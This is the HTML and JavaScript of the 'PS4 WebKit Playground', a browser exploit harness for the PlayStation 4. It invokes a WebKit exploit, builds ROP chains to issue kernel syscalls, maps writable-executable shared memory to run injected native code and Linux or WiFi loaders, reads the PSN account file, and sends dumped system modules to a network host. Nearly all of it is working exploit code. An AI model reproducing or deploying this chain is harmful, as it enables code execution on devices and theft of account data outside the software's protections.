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index.html
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<!DOCTYPE html>
<html>
<head>
<title>PS4-playground</title>
<link rel="stylesheet" type="text/css" href="css/main.css">
<script type="text/javascript" src="js/utils.js"></script>
<script type="text/javascript" src="js/exploit.js"></script>
<script type="text/javascript" src="js/network.js"></script>
<script type="text/javascript" src="js/just-rop.js"></script>
<script type="text/javascript" src="js/gadgets.js"></script>
<script type="text/javascript" src="js/code.js"></script>
<script type="text/javascript">
function load() {
document.getElementById("environment").innerHTML = getEnvironmentInfo();
exploit();
chain = new rop();
var codeExecutionStage = getCookie("codeExecutionStage");
if(codeExecutionStage == "1") {
cleanSessionVars();
allocateSharedMemory();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Mapping shared memory...";
setTimeout(function() { document.cookie = "codeExecutionStage=1.1"; location.reload(); }, 10);
}
else if(codeExecutionStage == "1.1") {
allocateSharedMemory2();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Mapping shared memory 2...";
setTimeout(function() { document.cookie = "codeExecutionStage=2"; location.reload(); }, 10);
}
else if(codeExecutionStage == "2") {
mapSharedMemory();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Waiting for payload...";
setTimeout(function() { document.cookie = "codeExecutionStage=3"; location.reload(); }, 10);
}
else if(codeExecutionStage == "3") {
payload();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Executing...";
setTimeout(function() { document.cookie = "codeExecutionStage=4"; location.reload(); }, 10);
}
else if(codeExecutionStage == "4") {
copy();
document.getElementById("codeExecutionStage").innerHTML = "Stage: Done!";
setTimeout(function() { document.cookie = "codeExecutionStage=0"; location.reload(); }, 10);
}
}
var SECTIONSIZE = 1024 * 1024;
function cleanSessionVars() {
sessionStorage.executableHandle = null;
sessionStorage.writableHandle = null;
}
function allocateSharedMemory() {
chain.call("createSharedMemory", LIBKERNEL, 0x15170, 0, SECTIONSIZE, 1 | 2 | 4, chain.data);
chain.execute(function() {
var executableHandle = getU64from(chain.data);
logAdd("0x" + executableHandle.toString(16)); // 0x52
sessionStorage.executableHandle = JSON.stringify(executableHandle);
logAdd("<h1>Refresh page and run Stage 1.1</h1>");
});
}
function allocateSharedMemory2() {
var executableHandle = JSON.parse(sessionStorage.executableHandle || "{}");
chain.call("createSharedMemoryAlias", LIBKERNEL, 0x151c0, executableHandle, 1 | 2, chain.data);
chain.syscall("mmap", 477, 0x926300000, SECTIONSIZE * 2, 1 | 2, 4096, -1, 0);
chain.write_rax_ToVariable(0);
chain.execute(function() {
var dataAddress = chain.getVariable(0);
var writableHandle = getU64from(chain.data);
logAdd("0x" + executableHandle.toString(16)); // 0x52
logAdd("0x" + writableHandle.toString(16)); // 0x53
logAdd("Data address: 0x" + dataAddress.toString(16)); // 0x926300000
sessionStorage.writableHandle = JSON.stringify(writableHandle);
logAdd("<h1>Refresh page and run Stage 2</h1>");
});
}
function mapSharedMemory() {
var executableHandle = JSON.parse(sessionStorage.executableHandle || "{}");
var writableHandle = JSON.parse(sessionStorage.writableHandle || "{}");
chain.call("mapSharedMemory", LIBKERNEL, 0x15210, writableHandle, 1 | 2, chain.data);
chain.syscall("mmap", 477, 0x926100000 + SECTIONSIZE, SECTIONSIZE, 1 | 4, 1, executableHandle, 0);
chain.write_rax_ToVariable(0);
chain.execute(function() {
var writeAddress = getU64from(chain.data); // 0x926100000
var executeAddress = chain.getVariable(0); // 0x926200000 (0x926100000 + SECTIONSIZE)
logAdd("Write address: 0x" + writeAddress.toString(16));
logAdd("Execute address: 0x" + executeAddress.toString(16));
logAdd("<h1>Refresh page and run Stage 3</h1>");
});
}
function payload() {
var writeAddress = 0x926100000;
var executeAddress = 0x926200000;
// infinite loop
//setU32to(writeAddress, 0xfeeb);
// return
//setU32to(writeAddress, 0xc3);
// mini loop
//setU32to(writeAddress + 0 * 4, 0x48c03148);
//setU32to(writeAddress + 1 * 4, 0x4801e883);
//setU32to(writeAddress + 2 * 4, 0xf775c085);
//setU32to(writeAddress + 3 * 4, 0x000000c3);
if(sessionStorage.loadlinux == 1)
writeLinux(writeAddress) // Linux-loader
else
writeLoader(writeAddress); // WiFi-Loader
chain.start(executeAddress);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
logAdd("<h1>Refresh page and run Stage 4</h1>");
});
}
function copy() {
var writeAddress = 0x926100000;
var executeAddress = 0x926200000;
var dataAddress = 0x926300000;
// Copy code
var c = [];
setBase(dataAddress);
for(i = 0; i < SECTIONSIZE / 4; i++) c[i] = u32[i];
setBase(writeAddress);
for(i = 0; i < SECTIONSIZE / 4; i++) u32[i] = c[i];
// Copy data
var d = [];
setBase(dataAddress + SECTIONSIZE);
for(i = 0; i < SECTIONSIZE / 4; i++) d[i] = u32[i];
setBase(dataAddress);
for(i = 0; i < SECTIONSIZE / 4; i++) u32[i] = d[i];
// Kill all elements in body
var body = document.getElementsByTagName("body")[0];
//while(body.firstChild) {
// body.removeChild(body.firstChild);
//}
// Hide cursor
document.body.style.cursor = "none";
// Create canvas
var canvas = document.createElement("canvas");
canvas.id = "canvas";
canvas.width = 160;
canvas.height = 144;
canvas.style.zIndex = 1;
canvas.style.position = "absolute";
canvas.style.border = "1px solid";
// Centered
//canvas.style.left = ((window.screen.width - canvas.width) / 2).toString() + "px";
//canvas.style.top = ((window.screen.height - canvas.height) / 2).toString() + "px";
// Fullscreen
canvas.style.left = "0px";
canvas.style.top = "0px";
canvas.style.width = "100%";
canvas.style.height = "100%";
//body.appendChild(canvas);
// Create a framebuffer, and put some data in so we can find it
window.context = canvas.getContext("2d");
context.fillStyle = "#c2c2c2";
context.fillRect(0, 0, canvas.width, canvas.height);
window.framebuffer = context.getImageData(0, 0, canvas.width, canvas.height);
setInterval(function() {
context.putImageData(framebuffer, 0, 0);
}, 1000 / 60); // try for 60 FPS
// Execute
chain.start(executeAddress);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
setBase(dataAddress);
logAdd(hexDump(dataAddress, 256));
});
}
function getpid() {
chain.syscall("getpid", 20);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
});
}
function getlogin() {
chain.syscall("getlogin", 49, chain.data, 17);
chain.execute(function() {
var name = readString(chain.data);
var pointer = getU32from(chain.data + 8);
logAdd("Name: " + name);
logAdd("Leaked pointer: 0x" + pointer.toString(16));
});
}
function setLDT() {
setU32to(chain.data + 0, 0xffffffff);
setU64to(chain.data + 4, chain.data + 64);
setU32to(chain.data + 12, 1);
setU8to(chain.data + 64 + 0, 0xff);
setU8to(chain.data + 64 + 1, 0xff);
setU8to(chain.data + 64 + 2, 0x00);
setU8to(chain.data + 64 + 3, 0x00);
setU8to(chain.data + 64 + 4, 0x00);
setU8to(chain.data + 64 + 5, 0x73);
setU8to(chain.data + 64 + 6, 0xcf);
setU8to(chain.data + 64 + 7, 0x00);
setU8to(chain.data + 64 + 8, 0x00);
setU8to(chain.data + 64 + 9, 0x00);
setU8to(chain.data + 64 + 10, 0x00);
setU8to(chain.data + 64 + 11, 0x00);
setU8to(chain.data + 64 + 12, 0x00);
setU8to(chain.data + 64 + 13, 0x00);
setU8to(chain.data + 64 + 14, 0x00);
setU8to(chain.data + 64 + 15, 0x00);
chain.syscall("sysarch", 165, 1, chain.data);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
});
}
function getThread() {
chain.call("getThread", LIBKERNEL, 0x128F0);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
});
}
function getLoadedModules() {
var countAddress = chain.data;
var modulesAddress = chain.data + 8;
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
var count = getU64from(countAddress);
logAdd("Loaded modules:");
logAdd("Index - ID");
for(var index = 0; index < count; index++) {
var m = getU32from(modulesAddress + index * 4);
logAdd(index.toString() + " - " + "0x" + m.toString(16) + " (" + m.toString() + ")");
}
});
}
function readModule() {
var moduleNumberV = document.getElementById("loadedModuleID").value;
if(!moduleNumberV) {
logAdd("Enter a module number");
document.getElementById("moduleNumber").focus();
return;
}
var moduleNumber = parseInt(moduleNumberV);
var moduleInfoAddress = chain.data;
setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 0, 593, moduleNumber, moduleInfoAddress);
chain.execute(function() {
var moduleName = readString(moduleInfoAddress + 0x8);
var codeBase = getU64from(moduleInfoAddress + 0x108);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x118);
var dataSize = getU32from(moduleInfoAddress + 0x120);
var moduleBase = codeBase;
var moduleSize = codeSize + dataSize;
logAdd("Name: " + moduleName);
logAdd("Base: 0x" + moduleBase.toString(16));
logAdd("Size: " + (moduleSize / 1024).toString() + "KB");
});
}
function dumpModule() {
var hostAddr = document.getElementById("hostAddr").value;
var hostPort = document.getElementById("hostPort").value;
var socketMessage = document.getElementById("socketMessage").value;
var moduleNumberV = document.getElementById("loadedModuleIndex").value;
if(!moduleNumberV) {
logAdd("Enter a module number");
document.getElementById("moduleNumber").focus();
return;
}
if(!hostAddr) {
logAdd("Enter an IP address");
document.getElementById("hostIP").focus();
return;
}
if(!hostPort) {
logAdd("Enter a port number");
document.getElementById("hostPort").focus();
return;
}
if(!socketMessage) {
logAdd("Enter a message");
document.getElementById("socketMessage").focus();
return;
}
var moduleNumber = parseInt(moduleNumberV);
sendBuffer(hostAddr, hostPort, module_infos[moduleNumber].image_base, module_infos[moduleNumber].image_size);
chain.execute(function() {
logAdd("Dump sent to " + hostAddr + ":" + hostPort);
});
}
function loadModule() {
var moduleNumberV = document.getElementById("moduleID").value;
if(!moduleNumberV) {
logAdd("Enter a module number");
document.getElementById("moduleNumber").focus();
return;
}
var moduleNumber = parseInt(moduleNumberV);
var moduleInfoAddress = chain.data;
setU64to(moduleInfoAddress, 0x160);
chain.call("loadModule", LIBSYSMODULE, 0x1850, moduleNumber, 0, 0, 0);
chain.syscall("getModuleInfo", 0, 593, 0x65, moduleInfoAddress);
chain.execute(function() {
var moduleName = readString(moduleInfoAddress + 0x8);
var codeBase = getU64from(moduleInfoAddress + 0x108);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x118);
var dataSize = getU32from(moduleInfoAddress + 0x120);
var moduleBase = codeBase;
var moduleSize = codeSize + dataSize;
logAdd("Loaded " + moduleName);
logAdd("Size: " + moduleSize / 1024 + "KB");
logAdd("This module will only be loaded during this process, please now refresh to avoid a crash (then you can dump it). Upon restart you must reload any extra module.");
logAdd("You can only load a single extra module, if you wish to load a different module restart the browser process.");
});
}
function loadNamedModule() {
var moduleName = document.getElementById("moduleName").value;
if(!moduleName) {
logAdd("Enter a module name");
document.getElementById("moduleName").focus();
return;
}
writeString(chain.data, moduleName);
chain.syscall("loadModule", 594, chain.data, 0, chain.data + 0x20, 0);
chain.write_rax_ToVariable(0);
chain.execute(function() {
chain.logVariable(0);
logAdd("Loaded with ID: " + getU32from(chain.data + 0x20));
logAdd("Refresh the page and use Read Loaded Module");
});
}
function getPSN() {
var path = chain.data;
var contents = chain.data;
writeString(path, "/user/home/10000000/np/account.dat");
chain.syscall("open", 5, path, 0, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.syscall("read", 3, undefined, contents, 1028);
chain.execute(function() {
setU8to(contents + 0x50, 0x20);
var name = readString(contents + 0x50).slice(1);
logAdd("PSN username: " + name);
});
}
function getSandboxDirectory() {
setU64to(chain.data, 10);
chain.syscall("getSandboxDirectory", 602, 0, chain.data + 8, chain.data);
chain.write_rax_ToVariable(0);
chain.execute(function() {
var name = readString(chain.data + 8);
logAdd(name);
});
}
function getStackProtection() {
var info = chain.data;
chain.syscall("getMemoryInfo", 547, stack_base, info);
chain.execute(function() {
var base = getU64from(info + 0x0);
var size = getU64from(info + 0x8) - base;
var protection = getU32from(info + 0x10);
logAdd("Stack base: 0x" + base.toString(16));
logAdd("Stack size: 0x" + size.toString(16));
logAdd("Stack protection: 0x" + protection.toString(16));
});
}
function getStackName() {
var info = chain.data;
//chain.syscall("getOtherMemoryInfo", 572, stack_base, 0, info, 0x40);
chain.syscall("getOtherMemoryInfo", 572, 0, 1, info, 0x40);
chain.execute(function() {
var base = getU64from(info + 0x0);
var size = getU64from(info + 0x8) - base;
var name = readString(info + 0x20);
//setU16to(base + 0x4000, 0xfeeb);
setBase(base);
logAdd(hexDump(base, 16));
setBase(base + 0x4000);
logAdd(hexDump(base + 0x4000, 16));
logAdd("Stack base: 0x" + base.toString(16));
logAdd("Stack size: 0x" + size.toString(16));
logAdd("Stack name: " + name);
});
}
function socketSend() {
var hostAddr = document.getElementById("hostAddr").value;
var hostPort = document.getElementById("hostPort").value;
var socketMessage = document.getElementById("socketMessage").value;
if(!hostAddr) {
logAdd("Enter an IP address");
document.getElementById("hostIP").focus();
return;
}
if(!hostPort) {
logAdd("Enter a port number");
document.getElementById("hostPort").focus();
return;
}
if(!socketMessage) {
logAdd("Enter a message");
document.getElementById("socketMessage").focus();
return;
}
sendMessage(hostAddr, hostPort, socketMessage, socketMessage.length);
chain.execute(function() {
logAdd("\"" + socketMessage + "\" sent to " + hostAddr + ":" + hostPort);
});
}
function launchLinux() {
cleanSessionVars();
sessionStorage.loadlinux = 1;
allocateSharedMemory();
setTimeout(function() { document.cookie = "codeExecutionStage=1.1"; location.reload(); }, 10);
}
</script>
</head>
<body onload="load()">
<div class="header">
<h1>PS4 WebKit Playground</h1>
<h2>CTurt, kR105, flatz, SKFU, droogie, Xerpi, Hunger, Takezo, nas, Proxima</h2>
<div id="environment"></div>
</div>
<hr>
<div class="box-container">
<div class="box">
<h2>Server</h2>
<div>
IP:
<input type="text" value="192.168.0.4" id="hostAddr" /><br>
<br>
Port:
<input type="number" value="9023" id="hostPort" /><br>
<br>
</div>
</div>
<div class="box">
<h2>Linux loader</h2>
<div>
Make sure to have files <b>initramfs.cpio.gz</b> and <b>bzImage</b> <br>
on a USB drive connected to the PS4 before loading this
</div>
<br>
<div>
<button onclick="launchLinux()">Load!</button>
</div>
</div>
<div class="box">
<h2>Code execution</h2>
<div>
<h3 id="codeExecutionStage">Stage: [Not started]</h3>
<div>
<button onclick='setTimeout(function() { document.cookie = "codeExecutionStage=1"; location.reload(); }, 10);'>Go</button>
</div>
</div>
</div>
<div class="box">
<h2>Syscalls</h2>
<div>
<button onclick="getpid()">Get PID</button>
</div>
<br>
<div>
<button onclick="getlogin()">Get Login</button>
</div>
<br>
<div>
<button onclick="setLDT()">Set LDT</button>
</div>
<br>
<div>
<button onclick="getThread()">Get Thread</button>
</div>
</div>
<div class="box">
<h2>Filesystem</h2>
<div>
<button onclick="window.location.assign('browser.html')">Browse</button>
</div>
<br>
<div>
<button onclick="getPSN()">Get PSN username</button>
</div>
<br>
<div>
<button onclick="getSandboxDirectory()">Get Sandbox Directory</button>
</div>
</div>
<div class="box">
<h2>Memory</h2>
<div>
<button onclick="getStackProtection()">Get Stack Protection</button>
</div>
<br>
<div>
<button onclick="getStackName()">Get Stack Name</button>
</div>
</div>
<div class="box">
<h2>Sockets</h2>
<div>
Message:
<input type="text" size="50" value="Hello from your PlayStation 4 :)" id="socketMessage" /><br>
<br>
<button onclick="socketSend()">Send Message</button>
</div>
</div>
<div class="box">
<h2>Modules</h2>
<div>
<button onclick="getLoadedModules()">Get Loaded Modules</button>
</div>
<br>
<div>
Loaded Module ID (Get Loaded Modules):
<input type="number" id="loadedModuleID" />
<button onclick="readModule()">Read Loaded Module</button>
</div>
<br>
<div>
Loaded Module Index (Get Loaded Modules):
<input type="number" id="loadedModuleIndex" />
<button onclick="dumpModule()">Dump Loaded Module</button>
</div>
<br>
<div>
Module ID (<a href="http://www.psdevwiki.com/ps4/Libraries#Libraries_on_firmware_1.76">check this list</a>):
<input type="number" id="moduleID" />
<button onclick="loadModule()">Load Module</button>
</div>
<br>
<div>
Module name (<a href="http://www.psdevwiki.com/ps4/Libraries#Libraries_on_firmware_1.76">check this list</a>):
<input type="text" id="moduleName" value="libSceGnmDriver.sprx" />
<button onclick="loadNamedModule()">Load Module</button>
</div>
</div>
<div class="box">
<h2>Misc</h2>
<div>
<button onclick="location.reload()">Refresh</button>
</div>
</div>
</div>
<br><br>
<hr>
<div id="log"></div>
</body>
</html>